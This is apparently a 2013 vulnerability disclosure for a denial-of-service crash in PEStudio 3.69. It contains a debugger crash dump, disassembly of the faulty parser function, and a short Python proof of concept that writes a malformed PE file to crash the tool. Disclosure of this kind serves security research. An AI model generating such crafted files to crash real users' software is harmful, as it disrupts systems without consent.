PEStudio version 3.69 suffers from a denial of service vulnerability.
894e7f4fc68a36429f7c80e4ae5b799448f3a8f2cf6a057e92074baaf53a4122
# Title: PEStudio Version 3.69 Denial of Service
# Date: 5th June 2013
# Author: Debasish Mandal ( https://twitter.com/debasishm89 )
# Blog : http://www.debasish.in/
# Software Homepage: http://www.winitor.com/
# Version: PEStudio Version 3.69
# Tested on: Windows XP SP2 / Windows 7
# Vendor Patch : Recently released stable version (v6.91) is not affected.
'''
[+] Affected Module : peparser.dll version 3.69
[+] Crash Point:
(6b4.17c): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=41414141 ecx=013f41d9 edx=013f0080 esi=00000000 edi=00004141
eip=3001ce70 esp=0012d15c ebp=00a26100 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Documents and Settings\debasish mandal\Desktop\Tools\PeStudio369\PeParser.dll -
PeParser!PeParser::IPeParserFactory::Destroy+0xf1d0:
3001ce70 8b510c mov edx,dword ptr [ecx+0Ch] ds:0023:013f41e5=????????
0:000> u eip
PeParser!PeParser::IPeParserFactory::Destroy+0xf1d0:
3001ce70 8b510c mov edx,dword ptr [ecx+0Ch]
3001ce73 3bda cmp ebx,edx
3001ce75 7209 jb PeParser!PeParser::IPeParserFactory::Destroy+0xf1e0 (3001ce80)
3001ce77 8b6908 mov ebp,dword ptr [ecx+8]
3001ce7a 03ea add ebp,edx
3001ce7c 3bdd cmp ebx,ebp
3001ce7e 720c jb PeParser!PeParser::IPeParserFactory::Destroy+0xf1ec (3001ce8c)
3001ce80 46 inc esi
[+] IDA Pro Snap of the Buggy Function:(Code from peparser.dll version 3.69)
.text:3001CE40 sub_3001CE40 proc near ; CODE XREF: sub_30003510+154p
.text:3001CE40 ; sub_300184D0+4Bp
.text:3001CE40 mov ecx, [ecx+4]
.text:3001CE43 xor eax, eax
.text:3001CE45 test ecx, ecx
.text:3001CE47 jz short locret_3001CE91
.text:3001CE49 mov edx, [ecx+1Ch]
.text:3001CE4C movzx ecx, word ptr [edx+14h]
.text:3001CE50 lea ecx, [ecx+edx+18h]
.text:3001CE54 test ecx, ecx
.text:3001CE56 jz short locret_3001CE91
.text:3001CE58 test ebx, ebx
.text:3001CE5A jz short locret_3001CE91
.text:3001CE5C push esi
.text:3001CE5D push edi
.text:3001CE5E movzx edi, word ptr [edx+6]
.text:3001CE62 xor esi, esi
.text:3001CE64 test edi, edi
.text:3001CE66 jle short loc_3001CE8F
.text:3001CE68 push ebp
.text:3001CE69 lea esp, [esp+0]
.text:3001CE70
.text:3001CE70 loc_3001CE70: ; CODE XREF: sub_3001CE40+46j
.text:3001CE70 mov edx, [ecx+0Ch] <-- Crash
.text:3001CE73 cmp ebx, edx
.text:3001CE75 jb short loc_3001CE80
.text:3001CE77 mov ebp, [ecx+8]
.text:3001CE7A add ebp, edx
.text:3001CE7C cmp ebx, ebp
.text:3001CE7E jb short loc_3001CE8C
.text:3001CE80
.text:3001CE80 loc_3001CE80: ; CODE XREF: sub_3001CE40+35j
.text:3001CE80 inc esi
.text:3001CE81 add ecx, 28h
.text:3001CE84 cmp esi, edi
.text:3001CE86 jl short loc_3001CE70
.text:3001CE88 pop ebp
.text:3001CE89 pop edi
.text:3001CE8A pop esi
.text:3001CE8B retn
.text:3001CE8C ; ---------------------------------------------------------------------------
[+] Proof of Concept :
'''
# /usr/bin/python
header = "MZ"
header += "A"*58
header += "\x80\x00\x00\x00"
header += "A"*3
header += "\x0e"
header += "A"*60
header += "PE"
header += "A"*235
f = open('POC.exe','wb')
f.write(header)
f.close()